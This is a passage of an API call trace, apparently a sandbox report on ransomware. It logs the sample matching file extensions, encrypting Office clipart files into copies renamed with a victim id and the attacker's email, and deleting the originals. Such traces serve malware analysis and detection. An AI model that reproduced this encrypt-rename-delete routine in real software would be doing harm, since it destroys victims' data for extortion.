(lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW (lpString=".doc") returned 4 [0249.471] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString=".docx") returned 5 [0249.471] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.471] lstrlenW (lpString=".pdf") returned 4 [0249.471] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString=".xls") returned 4 [0249.471] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.471] lstrlenW (lpString=".xlsx") returned 5 [0249.471] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.471] lstrlenW (lpString=".ppt") returned 4 [0249.471] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.471] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.471] lstrlenW (lpString=".zip") returned 4 [0249.471] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.472] lstrlenW (lpString=".rar") returned 4 [0249.472] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.472] lstrlenW (lpString=".bz2") returned 4 [0249.472] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.472] lstrlenW (lpString=".7z") returned 3 [0249.472] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.472] lstrlenW (lpString=".dbf") returned 4 [0249.472] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.472] lstrlenW (lpString=".1cd") returned 4 [0249.472] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.472] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00090_.WMF") returned 63 [0249.472] lstrlenW (lpString=".jpg") returned 4 [0249.472] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.472] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.472] lstrlenW (lpString="FD00096_.WMF") returned 12 [0249.472] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.473] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=37390) returned 1 [0249.473] CloseHandle (hObject=0x398) returned 1 [0249.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 0x20 [0249.473] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0249.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.473] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0249.474] GetLastError () returned 0x0 [0249.474] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x920e, lpOverlapped=0x0) returned 1 [0249.637] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x9210, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x9210, lpOverlapped=0x0) returned 1 [0249.638] ReadFile (in: hFile=0x398, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.639] WriteFile (in: hFile=0x3a8, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.639] SetEndOfFile (hFile=0x3a8) returned 1 [0249.639] CloseHandle (hObject=0x3a8) returned 1 [0249.639] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.639] SetEndOfFile (hFile=0x398) returned 1 [0249.643] CloseHandle (hObject=0x398) returned 1 [0249.643] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00096_.wmf")) returned 1 [0249.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.658] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.658] lstrlenW (lpString=".doc") returned 4 [0249.658] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.658] lstrlenW (lpString=".docx") returned 5 [0249.658] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.658] lstrlenW (lpString=".pdf") returned 4 [0249.658] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.658] lstrlenW (lpString=".xls") returned 4 [0249.658] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.658] lstrlenW (lpString=".xlsx") returned 5 [0249.658] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.659] lstrlenW (lpString=".ppt") returned 4 [0249.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.659] lstrlenW (lpString=".zip") returned 4 [0249.659] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.659] lstrlenW (lpString=".rar") returned 4 [0249.659] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString=".bz2") returned 4 [0249.659] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString=".7z") returned 3 [0249.659] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.659] lstrlenW (lpString=".dbf") returned 4 [0249.659] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.659] lstrlenW (lpString=".1cd") returned 4 [0249.659] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.659] lstrlenW (lpString=".jpg") returned 4 [0249.659] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.659] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.659] lstrlenW (lpString=".doc") returned 4 [0249.659] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString=".docx") returned 5 [0249.659] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.659] lstrlenW (lpString=".pdf") returned 4 [0249.659] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.659] lstrlenW (lpString=".xls") returned 4 [0249.659] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.659] lstrlenW (lpString=".xlsx") returned 5 [0249.659] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.659] lstrlenW (lpString=".ppt") returned 4 [0249.659] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.660] lstrlenW (lpString=".zip") returned 4 [0249.660] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.660] lstrlenW (lpString=".rar") returned 4 [0249.660] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.660] lstrlenW (lpString=".bz2") returned 4 [0249.660] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.660] lstrlenW (lpString=".7z") returned 3 [0249.660] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.660] lstrlenW (lpString=".dbf") returned 4 [0249.660] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.660] lstrlenW (lpString=".1cd") returned 4 [0249.660] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.660] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00096_.WMF") returned 63 [0249.660] lstrlenW (lpString=".jpg") returned 4 [0249.660] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.660] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.660] lstrlenW (lpString="FD00361_.WMF") returned 12 [0249.660] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.661] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=4074) returned 1 [0249.661] CloseHandle (hObject=0x3c4) returned 1 [0249.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 0x20 [0249.661] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.661] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.661] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.661] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.662] GetLastError () returned 0x0 [0249.662] ReadFile (in: hFile=0x3c4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0xfea, lpOverlapped=0x0) returned 1 [0249.683] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0249.684] ReadFile (in: hFile=0x3c4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.684] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.684] SetEndOfFile (hFile=0x1fc) returned 1 [0249.685] CloseHandle (hObject=0x1fc) returned 1 [0249.685] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.685] SetEndOfFile (hFile=0x3c4) returned 1 [0249.687] CloseHandle (hObject=0x3c4) returned 1 [0249.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00361_.wmf")) returned 1 [0249.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.688] lstrlenW (lpString=".doc") returned 4 [0249.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.688] lstrlenW (lpString=".docx") returned 5 [0249.688] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.688] lstrlenW (lpString=".pdf") returned 4 [0249.688] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.688] lstrlenW (lpString=".xls") returned 4 [0249.688] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.688] lstrlenW (lpString=".xlsx") returned 5 [0249.688] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.688] lstrlenW (lpString=".ppt") returned 4 [0249.688] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString=".zip") returned 4 [0249.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.689] lstrlenW (lpString=".rar") returned 4 [0249.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString=".bz2") returned 4 [0249.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString=".7z") returned 3 [0249.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString=".dbf") returned 4 [0249.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString=".1cd") returned 4 [0249.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString=".jpg") returned 4 [0249.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString=".doc") returned 4 [0249.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString=".docx") returned 5 [0249.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.689] lstrlenW (lpString=".pdf") returned 4 [0249.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString=".xls") returned 4 [0249.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.689] lstrlenW (lpString=".xlsx") returned 5 [0249.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.689] lstrlenW (lpString=".ppt") returned 4 [0249.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.689] lstrlenW (lpString=".zip") returned 4 [0249.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.689] lstrlenW (lpString=".rar") returned 4 [0249.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.690] lstrlenW (lpString=".bz2") returned 4 [0249.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.690] lstrlenW (lpString=".7z") returned 3 [0249.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.690] lstrlenW (lpString=".dbf") returned 4 [0249.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.690] lstrlenW (lpString=".1cd") returned 4 [0249.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00361_.WMF") returned 63 [0249.690] lstrlenW (lpString=".jpg") returned 4 [0249.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.690] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0249.690] lstrlenW (lpString="FD00397_.WMF") returned 12 [0249.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.690] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x319ff1c | out: lpFileSize=0x319ff1c*=10816) returned 1 [0249.691] CloseHandle (hObject=0x3c4) returned 1 [0249.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 0x20 [0249.691] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0249.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0249.691] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.691] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0249.692] GetLastError () returned 0x0 [0249.692] ReadFile (in: hFile=0x3c4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x2a40, lpOverlapped=0x0) returned 1 [0249.711] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0x2a50, lpOverlapped=0x0) returned 1 [0249.712] ReadFile (in: hFile=0x3c4, lpBuffer=0x3db0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x319fed4, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesRead=0x319fed4*=0x0, lpOverlapped=0x0) returned 1 [0249.712] WriteFile (in: hFile=0x1fc, lpBuffer=0x3db0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x319fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3db0020*, lpNumberOfBytesWritten=0x319fc9c*=0xec, lpOverlapped=0x0) returned 1 [0249.712] SetEndOfFile (hFile=0x1fc) returned 1 [0249.712] CloseHandle (hObject=0x1fc) returned 1 [0249.712] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x319fec8 | out: lpNewFilePointer=0x0) returned 1 [0249.712] SetEndOfFile (hFile=0x3c4) returned 1 [0249.714] CloseHandle (hObject=0x3c4) returned 1 [0249.714] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0249.715] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00397_.wmf")) returned 1 [0249.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.715] lstrlenW (lpString=".doc") returned 4 [0249.715] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.715] lstrlenW (lpString=".docx") returned 5 [0249.715] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.715] lstrlenW (lpString=".pdf") returned 4 [0249.715] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.715] lstrlenW (lpString=".xls") returned 4 [0249.715] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.715] lstrlenW (lpString=".xlsx") returned 5 [0249.715] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.715] lstrlenW (lpString=".ppt") returned 4 [0249.715] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0249.715] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.715] lstrlenW (lpString=".zip") returned 4 [0249.715] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0249.715] lstrlenW (lpString=".rar") returned 4 [0249.715] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString=".bz2") returned 4 [0249.716] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString=".7z") returned 3 [0249.716] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.716] lstrlenW (lpString=".dbf") returned 4 [0249.716] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.716] lstrlenW (lpString=".1cd") returned 4 [0249.716] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.716] lstrlenW (lpString=".jpg") returned 4 [0249.716] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.716] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00397_.WMF") returned 63 [0249.716] lstrlenW (lpString=".doc") returned 4 [0249.716] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString=".docx") returned 5 [0249.716] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0249.716] lstrlenW (lpString=".pdf") returned 4 [0249.716] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0249.716] lstrlenW (lpString=".xls") returned 4 [0249.716] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0249.716] lstrlenW (lpString=".xlsx") returned 5 [0249.716] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0249.716] lstrlenW (lpString=".ppt") returned 4 [0249.716] lstrcmpiW 